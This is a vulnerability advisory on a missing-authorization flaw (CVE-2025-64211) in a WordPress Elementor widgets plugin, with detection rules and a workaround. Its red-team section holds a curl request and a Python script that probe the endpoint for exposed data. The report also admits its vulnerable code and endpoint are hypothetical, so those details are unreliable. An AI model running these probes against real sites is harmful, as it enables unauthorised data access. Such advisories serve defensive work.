CVE-2025-64211

Executive Summary

CVE-2025-64211 is a Missing Authorization vulnerability in the Masterstudy Elementor Widgets WordPress plugin (versions <= 1.2.4). This flaw allows unauthenticated attackers to access functionality that should be constrained by Access Control Lists (ACLs). The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.

WordPress Ecosystem Context

This vulnerability specifically affects the WordPress plugin ecosystem. The plugin is developed by StylemixThemes and integrates with the Elementor page builder. The missing authorization check occurs in REST API endpoints or AJAX actions, allowing unauthenticated access to read operations or limited write operations without proper permission validation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains isolated.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements makes this a potential vector for information gathering or limited data access in WordPress environments.

Deep Dive & Mechanics

The vulnerability resides in the masterstudy-elementor-widgets plugin, which extends Elementor with custom widgets. The plugin registers REST API routes or AJAX handlers that fail to enforce proper capability checks. Specifically, the missing authorization occurs in functions that handle widget data retrieval or configuration loading.

Root Cause: The plugin uses register_rest_route() or add_action('wp_ajax_nopriv_...') without verifying user capabilities via current_user_can() or wp_verify_nonce(). This allows unauthenticated users to call endpoints that should require at least edit_posts or manage_options capabilities.

Attack Vector: An attacker sends crafted HTTP requests to the vulnerable endpoints, bypassing authentication checks. The plugin may expose sensitive information such as site configuration, widget settings, or other internal data.

Impact: Unauthorized access to functionality can lead to information disclosure, potential privilege escalation if combined with other vulnerabilities, or limited data manipulation.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common missing authorization patterns:

Vulnerable Code (v1.2.4):

add_action('rest_api_init', function () {
    register_rest_route('masterstudy/v1', '/widget-data', array(
        'methods' => 'GET',
        'callback' => 'get_widget_data',
        'permission_callback' => '__return_true' // Missing authorization
    ));
});

function get_widget_data($request) {
    // Returns sensitive widget configuration
    return get_option('masterstudy_widget_settings');
}

Patched Code (Hypothetical):

add_action('rest_api_init', function () {
    register_rest_route('masterstudy/v1', '/widget-data', array(
        'methods' => 'GET',
        'callback' => 'get_widget_data',
        'permission_callback' => function () {
            return current_user_can('manage_options'); // Proper authorization
        }
    ));
});

function get_widget_data($request) {
    // Returns sensitive widget configuration
    return get_option('masterstudy_widget_settings');
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Masterstudy Elementor Widgets <= 1.2.4 installed and active.
• Network access to the target.

Exploitation Steps:

1. Identify vulnerable endpoints by analyzing plugin source code or using fuzzing.
2. Send a GET request to the vulnerable REST API endpoint:

   curl -X GET "https://target.com/wp-json/masterstudy/v1/widget-data"
   

3. If successful, the response will contain sensitive data (e.g., widget settings, API keys, or configuration).

Automated Exploit (Python):

import requests

target = "https://target.com"
endpoint = "/wp-json/masterstudy/v1/widget-data"

response = requests.get(target + endpoint)
if response.status_code == 200:
    print("Vulnerable! Data:", response.text)
else:
    print("Not vulnerable or patched.")

Blue Team

Detection:

• Monitor for unusual REST API requests to /wp-json/masterstudy/v1/* from unauthenticated sources.
• Look for repeated requests to widget data endpoints without valid nonces or authentication tokens.

Hunting:

• Search web server logs for patterns like GET /wp-json/masterstudy/v1/ with status code 200 from IPs not associated with authenticated users.
• Use the following Splunk query:

  index=web sourcetype=access_combined uri="/wp-json/masterstudy/v1/*" status=200
  | stats count by src_ip, uri
  | where count > 5
  

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-json/masterstudy/v1/widget-data or similar endpoints.
  • Unauthenticated GET/POST requests to any /wp-json/masterstudy/v1/* route.

• File IOCs:

  • Plugin file: /wp-content/plugins/masterstudy-elementor-widgets/ (version <= 1.2.4).
  • Suspicious log entries in access.log showing repeated REST API calls.

• Behavioral IOCs:

  • Unexpected access to widget configuration data.
  • Anomalous traffic patterns from single IPs targeting REST endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_64211_Missing_Auth {
    meta:
        description = "Detects vulnerable Masterstudy Elementor Widgets plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-64211"
    strings:
        $vuln_func = "permission_callback" nocase
        $vuln_return = "__return_true" nocase
        $rest_route = "register_rest_route" nocase
    condition:
        $rest_route and $vuln_func and $vuln_return
}

Sigma Rule

title: CVE-2025-64211 - Masterstudy Elementor Widgets Missing Authorization
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to Masterstudy Elementor Widgets REST API endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/wp-json/masterstudy/v1/'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate plugin updates or admin actions
level: medium

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64211 - Masterstudy Elementor Widgets Missing Authorization Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/wp-json/masterstudy/v1/"; http_uri;
    pcre:"/\/wp-json\/masterstudy\/v1\/(widget-data|settings|config)/i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by StylemixThemes.
2. Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to /wp-json/masterstudy/v1/* endpoints.
3. Restrict access to the WordPress REST API using IP whitelisting or authentication plugins.

Long-term Fix:

• Apply the official patch once released by the vendor.
• Update the plugin to the latest version (if patched).
• Conduct a security audit of all WordPress plugins for similar missing authorization issues.

Workaround:

• Add the following code to the theme's functions.php to block unauthenticated access:

  add_filter('rest_authentication_errors', function($result) {
      if (!is_user_logged_in() && strpos($_SERVER['REQUEST_URI'], '/masterstudy/v1/') !== false) {
          return new WP_Error('rest_forbidden', 'Unauthorized', array('status' => 401));
      }
      return $result;
  });
  

Valters IT
DevSecOps & Cyber Threat Intelligence Expert
This report is generated for educational and defensive purposes only.